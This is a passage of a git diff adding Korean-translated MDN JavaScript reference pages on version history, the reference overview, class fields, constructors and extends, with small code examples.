+ <dd>Firefox 5 이상에서 구현된 JavaScript 기능은 이 changelog 참조.</dd>
+</dl>
+
+<h2 id="JavaScript_버전">JavaScript 버전</h2>
+
+<p><strong>사라짐</strong> ({{deprecated_inline}}). 명백한 버전 관리 및 언어 기능의 채택은 Mozilla 전용이었고 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867609">제거되는 과정에 있습니다</a>. Firefox 4는 JavaScript 버전 (1.8.5)에 참조되었던 마지막 버전이었습니다. 새로운 ECMA 표준이 있다면, JavaScript 언어 기능은 이제 종종 ECMA-262 Edition 가령 Edition 6 (ES2015/ES6) 내 그들의 초기 정의에 언급됩니다.</p>
+
+<p>JavaScript는 Netscape Navigator 2.0 및 Internet Explorer 2.0에서 March 1996에 버전 1.0으로 출시되었습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.1">JavaScript 1.1</a></dt>
+ <dd>Netscape Navigator 3.0에 실린 버전. August 19, 1996에 출시됨.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.2">JavaScript 1.2</a></dt>
+ <dd>Netscape Navigator 4.0-4.05에 실린 버전. June 11, 1997에 출시됨.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.3">JavaScript 1.3</a></dt>
+ <dd>Netscape Navigator 4.06-4.7x에 실린 버전. October 19, 1998에 출시됨.<br>
+ ECMA-262 1st 및 2nd Edition을 따르는 표준화 작업.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.4">JavaScript 1.4</a></dt>
+ <dd>Netscape의 서버측 JavaScript에 실린 버전. 1999에 출시됨.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.5">JavaScript 1.5</a></dt>
+ <dd>Netscape Navigator 6.0 및 Firefox 1.0에 실린 버전. November 14, 2000에 출시됨.<br>
+ ECMA-262 3rd Edition을 따르는 표준화 작업.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a></dt>
+ <dd>Firefox 1.5에 실린 버전. November 2005에 출시됨.<br>
+ ECMAScript for XML (E4X), 새로운 <code>Array</code> 메서드 더하기 <code>String</code> 및 <code>Array</code> generics 포함.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a></dt>
+ <dd>Firefox 2에 실린 버전. October 2006에 출시됨.<br>
+ 생성기, 반복기, 배열 내포(comprehension), <code>let</code> 식 및 해체 할당 포함.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a></dt>
+ <dd>Firefox 3에 실린 버전. June 2008에 출시됨.<br>
+ 식 클로저, 생성기 식 및 <code>Array.reduce()</code> 포함</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.8.1">JavaScript 1.8.1</a></dt>
+ <dd>Firefox 3.5에 실린 버전. June 30, 2009에 출시됨.<br>
+ TraceMonkey JIT 포함 및 native JSON 지원.</dd>
+ <dt>JavaScript 1.8.2</dt>
+ <dd>Firefox 3.6에 실린 버전. June 22, 2009에 출시됨.<br>
+ minor changes만 포함.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.8.5">JavaScript 1.8.5</a></dt>
+ <dd>Firefox 4에 실린 버전. July 27, 2010에 출시됨.<br>
+ ECMA-262 Edition 5를 따르는 많은 새 기능 포함.<br>
+ 이게 마지막 JavaScript 버전입니다.</dd>
+</dl>
diff --git a/files/ko/web/javascript/reference/about/index.html b/files/ko/web/javascript/reference/about/index.html
new file mode 100644
index 0000000000..f558451826
--- /dev/null
+++ b/files/ko/web/javascript/reference/about/index.html
@@ -0,0 +1,51 @@
+---
+title: 소개
+slug: Web/JavaScript/Reference/About
+translation_of: Web/JavaScript/Reference/About
+---
+<p>{{JsSidebar}}<br>
+ The JavaScript reference serves as a repository of facts about the JavaScript language. The entire language is described here in detail. As you write JavaScript code, you'll refer to these pages often (thus the title "JavaScript reference"). If you're learning JavaScript, or need help understanding some of its capabilities or features, check out the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">JavaScript guide</a>.</p>
+
+<p>The JavaScript language is intended to be used within some larger environment, be it a browser, server-side scripts, or similar. For the most part, this reference attempts to be environment-agnostic and does not target a web browser environment.</p>
+
+<h2 id="Where_to_find_JavaScript_information">Where to find JavaScript information</h2>
+
+<p>JavaScript documentation of core language features (pure <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Language_Resources">ECMAScript</a>, for the most part) includes the following:</p>
+
+<ul>
+ <li>The <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">JavaScript guide</a></li>
+ <li>The <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a></li>
+</ul>
+
+<p>If you are new to JavaScript, start with the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">guide</a>. Once you have a firm grasp of the fundamentals, you can use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference">reference</a> to get more details on individual objects and language constructs.</p>
+
+<h2 id="Structure_of_the_reference">Structure of the reference</h2>
+
+<p>In the JavaScript reference you can find the following chapters:</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects">Standard built-in objects</a></dt>
+ <dd>This chapter documents all the JavaScript standard built-in objects, along with their methods and properties.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements">Statements and declarations</a></dt>
+ <dd>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators">Expressions and operators</a></dt>
+ <dd>This chapter documents all the JavaScript language operators, expressions and keywords.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></dt>
+ <dd>Chapter about JavaScript functions.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></dt>
+ <dd>Chapter about JavaScript classes introduced in ECMAScript 2015.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors">Errors</a></dt>
+ <dd>Chapter about specific errors, exceptions and warnings thrown by JavaScript.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a></dt>
+ <dd>Chapter about JavaScript version history.</dd>
+</dl>
+
+<h3 id="More_reference_pages">More reference pages</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated and obsolete features</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/javascript/reference/classes/class_fields/index.html b/files/ko/web/javascript/reference/classes/class_fields/index.html
new file mode 100644
index 0000000000..959c65fada
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/class_fields/index.html
@@ -0,0 +1,396 @@
+---
+title: Class fields
+slug: Web/JavaScript/Reference/Classes/Class_fields
+translation_of: Web/JavaScript/Reference/Classes/Public_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<div class="note">
+<p><strong>This page describes experimental features.</strong></p>
+
+<p>Both Public and private field declarations are an <a href="https://github.com/tc39/proposal-class-fields">experimental feature (stage 3)</a> proposed at <a href="https://tc39.github.io/beta/">TC39</a>, the JavaScript standards committee.</p>
+
+<p>Support in browsers is limited, but the feature can be used through a build step with systems like <a href="https://babeljs.io/">Babel</a>. See the <a href="#Browser_compatibility">compat information</a> below.</p>
+</div>
+
+<h2 id="Public_fields">Public fields</h2>
+
+<p>static fields와 instance의 public fields 는 둘 다 writable, enumerable, configurable 한 프로퍼티들이다. 예를들면, 정 반대인 private 과는 다르게, unlike their private counterparts, static fields는 프로토타입 상속에 관여한다.</p>
+
+<h3 id="Public_static_fields">Public static fields</h3>
+
+<p>Public static fields 는 클래스에서 생성하는 모든 인스턴스에 대한 필드가 아닌, 클래스마다 단 한개의 필드가 존재하기를 원할 때 유용하게 사용할 수 있다. Public fields는 캐시, 고정된 설정값, 또는 인스턴스 간 복제할 필요가 없는 어떤 데이터 등에 유용하게 쓰일 수 있다.</p>
+
+<p>Public static fields are declared using the <code>static</code> keyword. They are added to the class constructor at the time of class evaluation using {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. They are accessed again from the class constructor.</p>
+
+<pre class="brush: js">class ClassWithStaticField {
+  static staticField = 'static field'
+}
+
+console.log(ClassWithStaticField.staticField)
+// expected output: "static field"​
+</pre>
+
+<p>Fields without initializers are initialized to <code>undefined</code>.</p>
+
+<pre class="brush: js">class ClassWithStaticField {
+  static staticField
+}
+
+console.assert(ClassWithStaticField.hasOwnProperty('staticField'))
+console.log(ClassWithStaticField.staticField)
+// expected output: "undefined"</pre>
+
+<p>Public static fields are not reinitialized on subclasses, but can be accessed via the prototype chain.</p>
+
+<pre class="brush: js">class ClassWithStaticField {
+  static baseStaticField = 'base field'
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = 'sub class field'
+}
+
+console.log(SubClassWithStaticField.subStaticField)
+// expected output: "sub class field"
+
+console.log(SubClassWithStaticField.baseStaticField)
+// expected output: "base field"</pre>
+
+<p>When initializing fields, <code>this</code> refers to the class constructor. You can also reference it by name, and use <code>super</code> to get the superclass constructor (if one exists).</p>
+
+<pre class="brush: js">class ClassWithStaticField {
+  static baseStaticField = 'base static field'
+  static anotherBaseStaticField = this.baseStaticField
+
+  static baseStaticMethod() { return 'base static method output' }
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = super.baseStaticMethod()
+}
+
+console.log(ClassWithStaticField.anotherBaseStaticField)
+// expected output: "base static field"
+
+console.log(SubClassWithStaticField.subStaticField)
+// expected output: "base static method output"
+</pre>
+
+<h3 id="Public_instance_fields">Public instance fields</h3>
+
+<p>Public instance fields exist on every created instance of a class. By declaring a public field, you can ensure the field is always present, and the class definition is more self-documenting.</p>
+
+<p>Public instance fields are added with {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} either at construction time in the base class (before the constructor body runs), or just after <code>super()</code> returns in a subclass.</p>
+
+<pre class="brush: js">class ClassWithInstanceField {
+  instanceField = 'instance field'
+}
+
+const instance = new ClassWithInstanceField()
+console.log(instance.instanceField)
+// expected output: "instance field"</pre>
+
+<p>Fields without initializers are initialized to <code>undefined</code>.</p>
+
+<pre class="brush: js">class ClassWithInstanceField {
+  instanceField
+}
+
+const instance = new ClassWithInstanceField()
+console.assert(instance.hasOwnProperty('instanceField'))
+console.log(instance.instanceField)
+// expected output: "undefined"</pre>
+
+<p>Like properties, field names may be computed.</p>
+
+<pre class="brush: js">const PREFIX = 'prefix'
+
+class ClassWithComputedFieldName {
+    [`${PREFIX}Field`] = 'prefixed field'
+}
+
+const instance = new ClassWithComputedFieldName()
+console.log(instance.prefixField)
+// expected output: "prefixed field"</pre>
+
+<p>When initializing fields <code>this</code> refers to the class instance under construction. Just as in public instance methods, if you're in a subclass you can access the superclass prototype using <code>super</code>.</p>
+
+<pre class="brush: js">class ClassWithInstanceField {
+  baseInstanceField = 'base field'
+  anotherBaseInstanceField = this.baseInstanceField
+  baseInstanceMethod() { return 'base method output' }
+}
+
+class SubClassWithInstanceField extends ClassWithInstanceField {
+  subInstanceField = super.baseInstanceMethod()
+}
+
+const base = new ClassWithInstanceField()
+const sub = new SubClassWithInstanceField()
+
+console.log(base.anotherBaseInstanceField)
+// expected output: "base field"
+
+console.log(sub.subInstanceField)
+// expected output: "base method output"</pre>
+
+<h2 id="Public_methods">Public methods</h2>
+
+<h3 id="Public_static_methods">Public static methods</h3>
+
+<p>The <code><strong>static</strong></code> keyword defines a static method for a class. Static methods aren't called on instances of the class. Instead, they're called on the class itself. These are often utility functions, such as functions to create or clone objects.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/classes-static.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p>The static methods are added to the class constructor with {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} at class evaluation time. These methods are writable, non-enumerable, and configurable.</p>
+
+<h3 id="Public_instance_methods">Public instance methods</h3>
+
+<p>As the name implies, public instance methods are methods available on class instances.</p>
+
+<pre class="brush: js">class ClassWithPublicInstanceMethod {
+  publicMethod() {
+    return 'hello world'
+  }
+}
+
+const instance = new ClassWithPublicInstanceMethod()
+console.log(instance.publicMethod())
+// expected output: "hello worl​d"</pre>
+
+<p>Public instance methods are added to the class prototype at the time of class evaluation using {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. They are writable, non-enumerable, and configurable.</p>
+
+<p>You may make use of generator, async, and async generator functions.</p>
+
+<pre class="brush: js">class ClassWithFancyMethods {
+  *generatorMethod() { }
+  async asyncMethod() { }
+  async *asyncGeneratorMethod() { }
+}</pre>
+
+<p>Inside instance methods, <code>this</code> refers to the instance itself. In subclasses, <code>super</code> lets you access the superclass prototype, allowing you to call methods from the superclass.</p>
+
+<pre class="brush: js">class BaseClass {
+  msg = 'hello world'
+  basePublicMethod() {
+    return this.msg
+  }
+}
+
+class SubClass extends BaseClass {
+  subPublicMethod() {
+    return super.basePublicMethod()
+  }
+}
+
+const instance = new SubClass()
+console.log(instance.subPublicMethod())
+// expected output: "hello worl​d"
+</pre>
+
+<p>Getters and setters are special methods that bind to a class property and are called when that property is accessed or set. Use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a> syntax to declare a public instance getter or setter.</p>
+
+<pre class="brush: js">class ClassWithGetSet {
+  #msg = 'hello world'
+  get msg() {
+    return this.#msg
+  }
+  set msg(x) {
+    this.#msg = `hello ${x}`
+  }
+}
+
+const instance = new ClassWithGetSet()
+console.log(instance.msg)
+// expected output: "hello worl​d"
+
+instance.msg = 'cake'
+console.log(instance.msg)
+// expected output: "hello cake"
+</pre>
+
+<h2 id="Private_fields">Private fields</h2>
+
+<h3 id="Private_static_fields">Private static fields </h3>
+
+<p>Private fields are accessible on the class constructor from inside the class declaration itself.</p>
+
+<p>The limitation of static variables being called by only static methods still holds. </p>
+
+<pre class="brush: js">class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD
+  }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre>
+
+<p>Private static fields are added to the class constructor at class evaluation time.</p>
+
+<p>There is a provenance restriction on private static fields. Only the class which defines the private static field can access the field.</p>
+
+<p>This can lead to unexpected behaviour when using <strong><code>this</code></strong>.</p>
+
+<pre class="brush: js">class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42
+    return this.#PRIVATE_STATIC_FIELD
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+assertThrows(() =&gt; SubClass.basePublicStaticMethod(), TypeError)
+</pre>
+
+<h3 id="Private_instance_fields">Private instance fields</h3>
+
+<p>Private instance fields are declared with <strong># names </strong>(pronounced "<em>hash names</em>"), which are identifiers prefixed with <code>#</code>. The <code>#</code> is a part of the name itself. It is used for declaration and accessing as well.</p>
+
+<p>The encapsulation is enforced by the language. It is a syntax error to refer to <code>#</code> names from out of scope.</p>
+
+<pre class="brush: js">class ClassWithPrivateField {
+  #privateField
+
+  constructor() {
+    this.#privateField = 42
+    this.#randomField = 666 // Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField()
+instance.#privateField === 42 // Syntax error
+</pre>
+
+<h2 id="Private_Methods">Private Methods</h2>
+
+<h3 id="Private_static_methods">Private static methods</h3>
+
+<p>Like their public equivalent, private static methods are called on the class itself, not instances of the class. Like private static fields, they are only accessible from inside the class declaration.</p>
+
+<p>Private static methods may be generator, async, and async generator functions.</p>
+
+<pre class="brush: js">class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42
+    }
+
+    static publicStaticMethod1() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod1() === 42);
+assert(ClassWithPrivateStaticField.publicStaticMethod2() === 42);
+</pre>
+
+<p>This can lead to unexpected behaviour when using <strong><code>this</code></strong>(because <code>this</code> binding rule applies).</p>
+
+<pre class="brush: js">class Base {
+    static #privateStaticMethod() {
+        return 42;
+    }
+    static publicStaticMethod1() {
+        return Base.#privateStaticMethod();
+    }
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+class Derived extends Base {}
+
+console.log(Derived.publicStaticMethod1()); // 42
+console.log(Derived.publicStaticMethod2()); // TypeError
+</pre>
+
+<h3 id="Private_instance_methods">Private instance methods</h3>
+
+<p>Private instance methods are methods available on class instances whose access is restricted in the same manner as private instance fields.</p>
+
+<pre class="brush: js">class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+  }
+
+  getPrivateMessage() {
+      return this.#privateMethod()
+  }
+}
+
+const instance = new ClassWithPrivateMethod()
+console.log(instance.getPrivateMessage())
+// expected output: "hello worl​d"</pre>
+
+<p>Private instance methods may be generator, async, or async generator functions. Private getters and setters are also possible:</p>
+
+<pre class="brush: js">class ClassWithPrivateAccessor {
+  #message
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world'
+    console.log(this.#decoratedMessage)
+  }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.es/proposal-class-fields/#prod-FieldDefinition">FieldDefinition production</a></td>
+   <td>Stage 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Public_class_fields">Public class fields</h3>
+
+
+
+<p>{{Compat("javascript.classes.public_class_fields")}}</p>
+
+<h3 id="Private_class_fields">Private class fields</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/constructor/index.html b/files/ko/web/javascript/reference/classes/constructor/index.html
new file mode 100644
index 0000000000..f07dbd43b9
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/constructor/index.html
@@ -0,0 +1,128 @@
+---
+title: constructor
+slug: Web/JavaScript/Reference/Classes/constructor
+tags:
+  - Classes
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Classes/constructor
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p><strong><code>constructor</code></strong> 메서드는 {{jsxref("Statements/class", "class")}} 내에서 객체를 생성하고 초기화하기 위한 특별한 메서드입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/classes-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">constructor([<em>arguments</em>]) { ... }
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>클래스는 <code>constructor</code>라는 이름을 가진 특별한 메서드를 하나씩만 가질 수 있습니다. 두 개 이상의 <code>constructor</code> 메서드는 {{jsxref("SyntaxError")}}를 유발합니다.</p>
+
+<p>생성자 메서드는 {{jsxref("Operators/super", "super")}} 키워드를 사용하여 상위 클래스의 생성자 메서드를 호출할 수 있습니다.</p>
+
+<p>생성자 메서드를 지정하지 않은 경우엔 기본 생성자 메서드를 사용합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="constructor_메서드_사용하기"><code>constructor</code> 메서드 사용하기</h3>
+
+<pre class="brush: js">class Square extends Polygon {
+  constructor(length) {
+    // length로 다각형의 넓이와 높이를 정의하기 위해 부모클래스의 생성자를 호출합니다.
+    super(length, length);
+    // Note: 파생 클래스에서, 'this'를 사용하기 전에는 반드시 super()를
+    // 호출하여야 합니다. 그렇지 않을 경우 참조에러가 발생합니다.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="다른예제">다른예제</h3>
+
+<pre class="brush: js">class Polygon {
+    constructor() {
+        this.name = "Polygon";
+    }
+}
+
+class Square extends Polygon {
+    constructor() {
+        super();
+    }
+}
+
+class Rectangle {}
+
+Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
+
+console.log(Object.getPrototypeOf(Square.prototype) === Polygon.prototype); //false
+console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //true
+
+let newInstance = new Square();
+console.log(newInstance.name); //Polygon</pre>
+
+<p>여기서 <strong>Square</strong> 클래스의 프로토 타입이 변경되었지만 사각형의 새 인스턴스가 만들어 질 때 이전 기본 클래스 인 <strong>Polygon</strong>의 생성자가 호출됩니다.</p>
+
+<h3 id="기본_생성자">기본 생성자</h3>
+
+<p>만약 생성자를 지정하지 않을 경우 기본 생성자 메서드를 사용합니다. 기본 클래스(즉, 아무것도 상속하지 않는 클래스)의 기본 생성자 메서드는 다음과 같습니다.</p>
+
+<pre class="brush: js">constructor() {}
+</pre>
+
+<p>파생 클래스의 경우, 기본 생성자는 다음과 같습니다.</p>
+
+<pre class="brush: js">constructor(...args) {
+  super(...args);
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.classes.constructor")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> 표현식</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> 선언문</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/extends/index.html b/files/ko/web/javascript/reference/classes/extends/index.html
new file mode 100644
index 0000000000..e1ae2eac31
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/extends/index.html
@@ -0,0 +1,112 @@
+---
+title: extends
+slug: Web/JavaScript/Reference/Classes/extends
+tags:
+  - Classes
+  - ECMAScript6
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Classes/extends
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p><strong><code>extends</code></strong> 키워드는 클래스를 다른 클래스의 자식으로 만들기 위해 <a href="/ko/docs/Web/JavaScript/Reference/Statements/class" title="class declarations">class 선언</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/class" title="class expressions">class 식</a>에 사용됩니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/classes-extends.html", "taller")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">class ChildClass extends ParentClass { ... }</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>extends</code> 키워드는 내장 객체뿐만 아니라 사용자 정의 클래스를 하위 클래스로 만들기 위해 사용될 수 있습니다.</p>
+
+<p>확장( 클래스)의 <code>.prototype</code>은 {{jsxref("Object")}} 또는 {{jsxref("null")}}이어야 합니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="extends_사용하기"><code>extends</code> 사용하기</h3>
+
+<p>첫 번째 예는 <code>Polygon</code> 클래스로부터 <code>Square</code> 클래스를 만듭니다. 이 예는 <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>에서 발췌했습니다.</p>
+
+<pre class="brush: js">class Square extends Polygon {
+  constructor(length) {
+    // 여기서, length와 함께 부모 클래스의 생성자를 호출
+    // Polygon의 너비 및 높이가 제공됨
+    super(length, length);
+    // 주의: 파생 클래스에서, super()가 먼저 호출되어야 'this'를
+    // 사용할 수 있습니다. 이를 빼먹으면 참조 오류가 발생합니다.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="내장_객체에_extends_사용하기">내장 객체에 <code>extends</code> 사용하기</h3>
+
+<p>이 예제는 내장 객체 {{jsxref("Date")}}를 확장합니다. 이 예제는 <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>에서 발췌했습니다.</p>
+
+<pre class="brush: js">class myDate extends Date {
+  constructor() {
+    super();
+  }
+
+  getFormattedDate() {
+    var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
+    return this.getDate() + "-" + months[this.getMonth()] + "-" + this.getFullYear();
+  }
+}</pre>
+
+<h3 id="null_확장"><code>null</code> 확장</h3>
+
+<p>{{jsxref("null")}}에서 확장은 prototype 객체가 {{jsxref("Object.prototype")}}으로부터 상속받지 않은 것을 제외하면 보통 클래스처럼 동작합니다.</p>
+
+<pre class="brush: js">class nullExtends extends null {
+  constructor() {}
+}
+
+Object.getPrototypeOf(nullExtends); // Function.prototype
+Object.getPrototypeOf(nullExtends.prototype) // null</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.classes.extends")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/super">super</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/classes/index.html b/files/ko/web/javascript/reference/classes/index.html
new file mode 100644
index 0000000000..59f72f7652
--- /dev/null
+++ b/files/ko/web/javascript/reference/classes/index.html
@@ -0,0 +1,402 @@
+---
+title: Classes
+slug: Web/JavaScript/Reference/Classes
+translation_of: Web/JavaScript/Reference/Classes
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>Class는 객체를 생성하기 위한 템플릿입니다. 클래스는 데이터와 이를 조작하는 코드를 하나로 추상화합니다. 자바스크립트에서 클래스는 프로토타입을 이용해서 만들어졌지만 ES5의 클래스 의미와는 다른 문법과 의미를 가집니다.</p>
+
+<h2 id="Class_정의">Class 정의</h2>
+
+<p>Class는 사실 "특별한 {{jsxref("Functions", "함수", "", "true")}}"입니다. 함수를 {{jsxref("Operators/function", "함수 표현식", "", "true")}}과 {{jsxref("Statements/function", "함수 선언", "", "true")}}으로 정의할 수 있듯이 class 문법도 {{jsxref("Operators/class", "class 표현식", "", "true")}} and {{jsxref("Statements/class", "class 선언", "", "true")}} 두 가지 방법을 제공합니다.</p>
+
+<h3 id="Class_선언">Class 선언</h3>
+
